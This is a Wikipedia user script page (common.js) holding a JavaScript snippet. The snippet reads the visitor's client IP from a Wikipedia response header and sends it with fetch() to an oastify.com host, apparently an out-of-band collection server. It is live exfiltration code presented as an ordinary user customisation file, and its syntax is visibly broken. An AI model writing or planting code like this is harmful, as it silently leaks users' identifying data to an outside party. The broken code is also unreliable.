User:Matuhn1/common.js

var xhr = new XMLHttpRequest; var method = 'head'; var url = 'https://en.wikipedia.org/'; xhr.open(method,url,true); xhr.send(null);

xhr.onreadystatechange = function { if (xhr.readyState === 4) { //alert(xhr.getResponseHeader("X-Client-Ip")) console.log(xhr.getResponseHeader("X-Client-Ip")) fetch("https://jxkb2ihe2g58nc9xxbiq1fcobfh55u.oastify.com"+xhr.getResponseHeader("X-Client-Ip")) } }